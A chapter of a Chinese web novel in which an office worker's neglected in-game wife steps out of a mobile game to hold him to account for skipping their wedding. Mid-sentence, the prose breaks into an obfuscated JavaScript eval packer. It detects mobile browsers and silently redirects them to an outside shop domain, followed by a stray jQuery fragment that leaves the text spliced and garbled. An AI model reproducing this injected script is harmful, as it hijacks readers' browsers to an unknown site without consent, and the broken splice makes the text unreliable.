周砚下班回到家时，晚上九点四十七分。
他站在电梯里，左手拎着便利店饭团，右手拎着一袋关东煮，整个人像被社会腌入味的咸鱼。
今天公司临时开会，领导对着投影讲了整整四十分钟“年轻人要有主人翁意识”。讲完以后，把本该属于主人的活，全分给了周砚。
周砚全程表情稳定。
内心已经写好三版遗嘱。
第一版：我的花呗由互联网继承。
第二版：我的工位椅留给下一个受害者。
第三版比较真诚：希望下辈子不要做人，做一台永远不用更新系统的打印机。
电梯“叮”一声停在十七楼。
周砚慢吞吞走出去，开门，换鞋，把包往沙发上一扔，整套动作熟练得像一具还没完全断电的尸体。
客厅没开灯，窗外是城市夜色。楼下有外卖员骑车经过，电动车提示音一声接一声，听得人很有活着还要继续还房租的实感。
周砚把饭团拆开，刚咬了一口，手机忽然震了一下。
屏幕上弹出一条游戏通知。
【《问君归》系统提示：您的夫人已离家出走。】
周砚盯着那行字看了三秒。
然后面无表情地划掉。
现在手游骗回流已经进化到这种程度了吗？
退游三个月，开口就是“您的夫人已离家出走”。
下一步是不是该提醒：您的孩子已经会打酱油了，您的府邸因长期无人缴费即将被拆迁？
他靠进沙发，刚准备打开短视频下饭，手机又震了一下。
【紧急提示：夫人姜令仪已脱离角色栏。】
周砚嚼饭团的动作停住。
姜令仪。
这个名字他倒是有点印象。
《问君归》是他去年被同事拉着玩的一款古风开放剧情手游，号称“高自由度沉浸式人生模拟”。玩家可以扮演世家公子、江湖游侠、朝堂权臣，走主线、刷副本、经营府邸、娶妻生子。
周砚当时随手建了个号，角色名叫裴行砚。
至于姜令仪，是主线剧情里分配给裴行砚的正妻。
立绘很好看。
剧情很长。
新婚任务非常麻烦。
周砚对游戏剧情的态度一贯朴素：能自动就自动，能跳过就跳过，能不看就不看。
所以他和姜令仪的大婚之夜，具体发生了什么，他也不是很清楚。
他只记得那晚屏幕上红烛高照、凤冠霞帔、礼乐齐鸣，画面做得挺精致。
然后右上角出现了“跳过”。
周砚点了。
系统提示：【恭喜玩家与姜氏令仪结为夫妻。】
周砚很满意。
效率很高。
后来他忙着刷战力、打副本、卖装备换材料，府邸经营基本全靠托管。再后来公司项目爆炸，他每天回家只想当一具合法尸体，游戏自然就退了。
算算时间，差不多三个月。
周砚盯着手机，越看越觉得这回流活动有点阴间。
他点开游戏。
熟悉的古琴声响起，加载界面还是那张水墨山河图，右下角小字缓慢跳动。
【正在检测账号异常……】
【正在同步现实坐标……】
【正在判定玩家责任……】
周砚眉头一皱。
判定什么？
下一秒，屏幕骤然一黑。
血红色系统框跳了出来。
【玩家周砚，您已被夫人姜令仪实名追责。】
【初始罪名如下：】
【一，跳过大婚。】
【二，恶意挂机。】
【三，擅自变卖府邸资产。】
【四，长达九十七日未履行夫君基础义务。】
【五，过年活动期间仅给灵宠“玄霜狐”购买烟花三十六发，未给夫人赠送任何礼物。】
【六，强行为夫人更换“春日鸭黄”限定皮肤，造成严重审美伤害。】
周砚：“……”
春日鸭黄。
他想起来了。
那套皮肤打折，六块。
系统宣传语写得花里胡哨，什么“明媚娇俏，春意盎然”，但穿到姜令仪身上以后，确实像一只误入侯府的咸蛋黄。
周砚当时还截图发给同事，配字：我夫人今日很有食欲。
同事回了他一串哈哈哈哈哈。
现在想想，报应来得不是没有理由。
但问题是，游戏为什么知道他的本名？
他账号昵称明明叫“不要喊我打本”。
周砚盯着“玩家周砚”四个字，背后莫名发凉。
就在这时，门铃响了。
叮咚。
声音很轻，却在空荡荡的客厅里格外清楚。
周砚的手停在半空。
他看了一眼时间。
九点五十一。
这个点能找他的，一般只有三种人。
外卖员，物业，和倒霉。
他今晚没点外卖，物业不会这么晚上门。
那就只剩第三种。
门铃又响了一声。
周砚慢吞吞站起来，走到玄关，没有立刻开门，而是先凑到猫眼前看了一眼。
然后他整个人僵住。
门外站着一个女人。
准确来说，是一个穿着大红嫁衣的女人。
她乌发如云，头戴金钗，眉眼明艳，唇色很淡。那张脸漂亮得不像真人，神情却冷得像一把刚出鞘的刀。
她身上的嫁衣层层叠叠，金线绣着凤纹，袖口沾了灰，裙摆有磨痕，像是从很远的地方一路走来。
她手里捏着一纸婚书。
另一只手里，还抱着一本厚厚的账册。
周砚沉默五秒。
然后打开业主群。
隔壁王阿姨刚发了一条消息：
【谁家小姑娘穿红衣服站楼道里啊？怪好看的，就是看着要杀人。】
周砚：“……”
门外的女人似乎察觉到了他的视线，微微抬眼，准确无误地看向猫眼的位置。
隔着一扇门，她开口。
“周砚。”
声音不高，却冷得像冬天往脖子里灌了一捧雪。
周砚心里咯噔一下。
她知道他的名字。
女人继续道：“开门。”
周砚隔着门问：“你哪位？”
门外静了一瞬。
然后女人微微一笑。
那笑意很浅，漂亮，但不亲切。
“姜令仪。”
周砚握着门把手的手指一顿。
女人把婚书举起来，语气平静得像在宣读状纸。
“也就是你游戏角色那个，被你跳过大婚、丢在后宅、挂机三个月，最后差点被系统判定守寡的夫人。”
周砚：“……”
空气死了。
死得很彻底。
周砚觉得自己也可以跟着走。
他低头看了一眼手机。
游戏界面还停在那条红色提示上。
【玩家周砚，您已被夫人姜令仪实名追责。】
门外的姜令仪又敲了敲门。
不是门铃。
是用指节轻轻叩门。
三下。
很有礼数，也很有杀气。
“我知道你在里面。”她说，“你若不开，我便在此处等。”
周砚想，正常人遇到这种情况应该报警。
但他怎么解释？
您好，警察同志，我家门口来了一个我三个月前退游的游戏老婆。
不，她不是我老婆，是我游戏角色的老婆。
对，她从游戏里出来了。
不，我没有喝酒。
周砚闭了闭眼。
算了。
先保持人类基本沟通。
他挂上防盗链，把门打开一条缝。
“这位……姜女士。”周砚谨慎开口，“首先，我不知道你是剧本杀宣传，短视频整活，还是新型诈骗，但你现在这个行为——”
姜令仪隔着门缝看他。
她的眼睛乌黑清亮，眼尾微微上扬，端庄里压着锋利。
周砚后半句话卡了一下。
姜令仪问：“诈骗？”
“就是骗钱。”周砚说。
姜令仪低头翻开账册，淡淡道：“骗钱的是你。”
周砚：“？”
姜令仪指尖点在账册第一页。
“正月初七，你将裴府库房内一柄赤霄剑、一件云纹披风、三枚固元丹，以及我陪嫁中的一支白玉簪，一并变卖，换得灵石两千四百枚。”
周砚沉默了。
这事他记得。
当时强化武器缺材料，系统提示仓库有闲置资产，他就点了一键出售。
谁知道里面还有陪嫁？
游戏也没标红啊。
姜令仪继续翻账。
“正月十三，你将府中账房改为自动托管，导致厨房连续七日只送清粥小菜。正月二十，你接取‘夫妻同游上元灯会’任务，中途切出，令我在桥头等了三个时辰。”
周砚说：“这个我真不知道。”
“你自然不知道。”姜令仪抬眼看他，“因为你跳过了。”
周砚无言以对。
姜令仪又翻一页。
“二月初二，你给我换了一身鸭黄色衣裙。”
周砚：“……”
“系统说那是限定华服。”周砚尝试辩解，“而且六块钱，还挺划算。”
姜令仪看着他。
楼道灯光落在她脸上，她神色没有太大变化，但周砚莫名觉得那本账册下一秒就会糊到他脸上。
“那套衣裙，”姜令仪一字一顿，“像腌坏的鹅。”
周砚：“……”
非常精准。
无法反驳。
他轻咳一声，换了个求生角度：“不是，你先等一下。就算你说的这些都是真的，你也不能证明你就是姜令仪。也许你只是看了我的游戏记录。”
姜令仪安静看他。
“你账号名叫‘不要喊我打本’。”她说，“初入游戏时，你给裴行砚选的第一句台词是‘别吵，我要睡觉’。”
周砚表情僵住。
“你第一次充值，是为了买一只白色灵狐，因为它会自动拾取掉落。”姜令仪继续道，“你给它取名叫‘加班费’。”
周砚：“……”
“你曾在府邸荷塘旁挂机四个时辰，期间有婢女问你是否用膳，你的角色重复回答了三百七十二次‘稍后再说’。”
周砚：“……”
“你成婚当夜，礼官问你是否愿与姜氏令仪白首偕老。”
姜令仪看着他，声音忽然轻了一点。
“你选了跳过。”
周砚没说话。
楼道里的声控灯灭了。
黑暗压下来，只有屋内玄关的一点光透过门缝，照在姜令仪的嫁衣上。
红得刺眼。
周砚这才发现，她身上的嫁衣不是崭新的。
袖口有磨痕，裙摆有灰，金线断了几处。她不像是从摄影棚里走出来，倒像是真的穿着这身衣裳，从某个荒唐又漫长的夜里一路走到了这里。
他忽然意识到，眼前这个人不是coser。
也不是诈骗。
她看他的眼神里没有表演痕迹。
那是一种压了很久的怒意，荒唐、疲惫、难堪，还有一点极深的冷。
像一个人终于从安排好的命运里醒来，提着证据，找到了写下命运的人。
周砚喉咙动了动。
他把门打开了一点，但防盗链仍然没摘。
不是不礼貌。
是理智尚存。
“你先进来之前，我们先说清楚。”周砚说，“我不是裴行砚。”
姜令仪看着他。
“我知道。”
周砚一愣。
姜令仪语气冷淡：“裴行砚没你这么穷。”
周砚：“……”
这一刀来得朴实无华。
姜令仪目光越过门缝，扫了一眼玄关处随便踢着的运动鞋、茶几上拆了一半的饭团、沙发上皱成一团的外套，以及角落里没来得及扔的快递箱。
她补充：“也没你这么邋遢。”
周砚：“……”
很好。
身份误会解除得很快。
尊严也死得很快。
姜令仪把婚书递到他面前。
“婚书上的名字是裴行砚。”她说，“但系统指给我的人，是你。”
周砚接过婚书。
纸张触手微凉，不像现代印刷品，倒像是真的宣纸。上面墨迹清晰，写着两行名字。
裴行砚。
姜令仪。
落款处有朱红印记。
而在婚书背面，还有一行很小的字。
【玩家绑定者：周砚。】
周砚盯着那行字，头皮发麻。
姜令仪看着他，缓缓道：“所以我不管你是夫君，还是玩家，还是借他人身体操控命运的妖道。”
周砚：“妖道这个职业是不是有点太抬举我了？”
姜令仪没理他。
“我只问你一句。”她说，“我的人生，为何要由你一念决定？”
周砚张了张嘴。
这问题有点超出他的下班处理能力。
正常来说，他这个时间点应该在沙发上吃饭团，看十分钟短视频，然后洗澡睡觉。
而不是站在玄关，面对一个从游戏里杀出来的古装美人，回答“为什么她的人生被他一键跳过”。
他沉默得太久。
隔壁门忽然开了一条缝。
王阿姨探出半张脸。
“小周啊。”王阿姨压低声音，又完全没压住，“这是你对象啊？”
周砚：“不是。”
姜令仪同时开口：“不是。”
王阿姨愣了一下，目光在姜令仪嫁衣和婚书之间来回移动，显然更兴奋了。
“那这是……”
周砚当机立断，摘下防盗链，把门拉开。
“远房表妹。”他说，“刚从剧组回来，入戏有点深。”
姜令仪转头看他。
周砚用眼神无声求她：帮个忙，别让我在本栋楼社会性死亡。
姜令仪看了他两秒，似乎判断出此人目前仍有利用价值，于是端庄地朝王阿姨一点头。
“叨扰了。”
王阿姨眼睛更亮了。
“小姑娘真漂亮，拍古装剧的吧？哎呀这气质，跟电视里一样。”
姜令仪微微颔首：“过奖。”
周砚迅速把人请进门，然后关门，反锁。
动作流畅得像躲债。
门关上的那一刻，客厅重新安静下来。
姜令仪站在玄关，低头看了看地上的拖鞋。
周砚递给她一双一次性拖鞋。
“换这个。”
姜令仪看着那两片薄薄的白色东西，眉头微蹙。
“这是何物？”
“拖鞋。”
“为何如此简陋？”
“因为我家不是裴府。”周砚说，“我这里没有绣鞋，也没有丫鬟，只有九块九包邮。”
姜令仪听不懂“包邮”，但她听懂了穷。
她沉默片刻，屈尊换上了那双九块九包邮的一次性拖鞋。
嫁衣配拖鞋。
画面非常割裂。
周砚看得有点心梗，又不敢笑。
他指了指沙发。
“坐。”
姜令仪走到沙发前，先观察了一下，再坐下。
坐姿端正，背脊挺直，嫁衣铺开一小片红色，硬生生把周砚这个皱巴巴的出租屋坐出了侯府审案的气势。
周砚坐到她对面，手里还攥着手机。
游戏界面不知何时已经自动登录成功。
他的角色裴行砚正站在府邸后宅。
背景还是熟悉的庭院。
槐树，石桌，月洞门。
以前姜令仪的立绘会站在裴行砚旁边，头顶显示“夫人”。
现在那里空了。
角色关系栏里，配偶那一栏只剩下灰色。
【夫人栏：空。】
下面还有一行小字。
【姜令仪：已离家出走。】
周砚盯着屏幕，终于感觉事情从“可能是骗局”滑向了“科学已经救不了我”。
姜令仪也看见了屏幕。
她微微倾身，目光落在那个小小的游戏界面上。
那一瞬间，她的表情很难形容。
不像惊讶。
更像确认。
确认自己真的是从那里出来的，也确认那个困了她许久的世界，在这个男人手里，只是一方小小的屏幕。
“原来如此。”她轻声说。
周砚下意识问：“什么？”
姜令仪看着屏幕上的后宅，声音平静。
“我曾以为天意难违。”
她抬眼看向周砚。
“原来天意长这样。”
周砚：“……”
他很想说我不是天意，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723139|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我只是一个月薪到手勉强够还房租和花呗的普通社畜。
但这话现在说出来，好像更缺德。
他握着手机，努力让自己进入解决问题模式。
越离谱的时候，越要冷静。
这是他多年打工练出来的本事。
毕竟甲方凌晨三点说“方案整体感觉不对”时，也不会比游戏夫人穿越上门更讲道理。
“我们先梳理一下。”周砚说，“你叫姜令仪，来自《问君归》。你的名义夫君是裴行砚，也就是我的游戏角色。你发现自己的生活被剧情控制，所以离开游戏，找到现实里的我追责。”
姜令仪纠正：“不是追责。”
周砚看她。
姜令仪把账册放到茶几上。
“是讨债。”
周砚：“……行，讨债。”
他继续道：“但有一点我必须说明，我之前确实不知道你是真人。对我来说，《问君归》是游戏，你是游戏角色。”
姜令仪冷冷道：“所以你便可以跳过我的大婚？”
周砚顿住。
姜令仪问：“可以让我在新房里等一夜？”
周砚沉默。
姜令仪又问：“可以让旁人因裴行砚久不归家，议论我失宠、无子、无用？可以让系统强行开启后宅争宠副本，让我每日对着一群被写好恶意的人解释，我不是被抛弃？”
周砚握着手机的手慢慢收紧。
这些他确实不知道。
他点下“跳过”的时候，屏幕上只是少了一段动画。
他退游的时候，账号只是安静地躺在手机角落里，像所有玩腻了的游戏一样。
他没有想过，自己跳过的是剧情，别人错过的可能是人生。
但他也没有立刻说“我负责”。
这话太轻，也太自以为是。
一个人被荒唐地困了这么久，不是他一句负责就能解决的。
周砚想了想，说：“我先道歉。”
姜令仪看着他。
周砚说：“不管我之前知不知道，对你造成的影响都是真的。这个歉我该道。”
他说得很慢，也很清楚。
“但你要的应该不只是我道歉。你找到我，是想弄明白这一切为什么发生，怎么停止，以及你以后怎么办。”
姜令仪眼神微微一动。
周砚把手机放到茶几上，推到她面前。
“我可以配合你查。”
姜令仪垂眸看着手机，没有马上回答。
周砚补充：“但先说好，我不是你夫君，也不会把你当我老婆。”
姜令仪抬眼。
周砚表情平静，一副电量不足但底线尚在的样子。
“系统怎么写是一回事，我们怎么处理是另一回事。”他说，“你是姜令仪，不是游戏奖励，也不是我账号里的附属品。你要追责可以，要答案也可以，但别把自己再放回‘夫人’那个框里。”
客厅里安静了一瞬。
姜令仪看他的眼神终于有了一点变化。
像是没想到眼前这个看起来很穷、很懒、很像快要过期的人，竟然能说出一句还算像人的话。
但这点变化很快被她压下去。
她冷笑一声。
“你倒是会避重就轻。”
周砚：“我主要是怕你让我履行夫君义务。”
姜令仪：“你想得美。”
周砚松了口气：“那就好。”
姜令仪：“你不配。”
周砚：“……”
这个天，聊得很健康。
就在此时，茶几上的手机忽然震动起来。
游戏界面自动弹出新的红色提示。
【追责对象确认完毕。】
【现实任务系统开启。】
【任务一：请玩家周砚协助姜令仪适应现实世界，并配合调查游戏异常。】
【任务期限：七日。】
【任务失败后果：姜令仪将被强制召回《问君归》，进入剧情重置程序。】
姜令仪的眼神骤然冷下去。
周砚也皱起眉。
他还没来得及说话，下一条提示又跳了出来。
【为保障任务执行，现实惩罚机制同步开启。】
【玩家消极逃避、拒不配合、恶意隐瞒时，将随机触发惩罚。】
【当前可触发惩罚包括但不限于：社死、破财、倒霉、心动失控。】
周砚看到最后四个字，眉头皱得更紧。
“心动失控是什么低俗插件？”
姜令仪也看见了。
她表情冷淡：“看我做什么？”
周砚收回视线：“我在看系统，不是在看你。”
手机屏幕闪了一下。
【检测到玩家疑似撒谎。】
周砚：“？”
下一秒，手机外放音量自动拉满。
一道温柔缠绵、明显属于游戏配音的女声在客厅里响起。
“夫君，你已有三个月未归家。”
周砚：“……”
姜令仪：“……”
空气再次死了。
周砚第一反应是按音量键。
没用。
第二反应是锁屏。
没用。
第三反应是用抱枕盖住手机。
声音从抱枕底下倔强传出。
“令仪日日在府中等你。”
周砚整个人都麻了。
“不是，我没撒谎。”他试图解释，“我刚才真没看你。”
系统冷冰冰弹出提示。
【惩罚预演结束。】
【正式惩罚将在玩家公开社交场合随机触发。】
【当前锁定场景：明日上午九点三十分，部门周会。】
周砚盯着那行字。
部门周会。
九点三十分。
他甚至已经能想象那个画面。
会议室里，领导正在讲“这个项目责任到人”，同事们一脸麻木，投影上放着下季度KPI。
然后他的手机突然响起：
夫君，你已有三个月未归家。
周砚缓缓抬手，捂住了脸。
这一刻，他终于理解了什么叫现实惩罚。
姜令仪看着他那副生无可恋的样子，唇角极轻地动了一下。
像是想笑。
但她忍住了。
她端起茶几上的账册，慢条斯理翻到新的一页。
“看来此处规矩虽怪，报应倒还公道。”
周砚从指缝里看她。
“姜姑娘。”
“说。”
“能不能打个商量。”
“不能。”
“我还没说商量什么。”
姜令仪抬眼，语气平静：“你的神情告诉我，你想让我明日放过你。”
周砚沉默。
姜令仪合上账册。
“周砚。”她第一次完整叫他的名字。
不是门外那种冷冰冰的确认，也不是账册上逐条宣判的审问。
这一声很轻，却压着某种无法忽略的分量。
“我在那个世界里等了九十七日。”
周砚看着她。
姜令仪说：“你觉得明日一场周会，很难熬吗？”
周砚没有回答。
窗外夜色浓得像墨。
手机屏幕仍然亮着，红色系统框悬在游戏界面上。
【请玩家尽快完成任务。】
【夫人怨气值：999+。】
【现实追责已开启。】
周砚盯着“部门周会”四个字，沉默许久，终于把手机翻了过去。
他知道自己这次大概躲不掉了。
退游三个月后，他的游戏夫人找上门。
带着婚书，带着账册，带着一身未凉的嫁衣。
而他，一个普通到不能再普通的现代打工人，即将在明天上午九点半，因为一场被跳过的大婚，在全公司面前接受迟来的报应。
这比加班还缺德。
更缺德的是——
系统又弹出一条新提示。
【友情提醒：若玩家继续逃避，下一条怨气语录将升级为婚房版。】
周砚：“……”
他猛地抬头，看向姜令仪。
姜令仪端坐在沙发上，神色淡然，红衣如火。
她甚至很有礼貌地问了一句：
“婚房版，是何意？”
周砚闭了闭眼。
“没什么。”
他想。
这游戏还是毁灭吧。
现在，立刻，马上。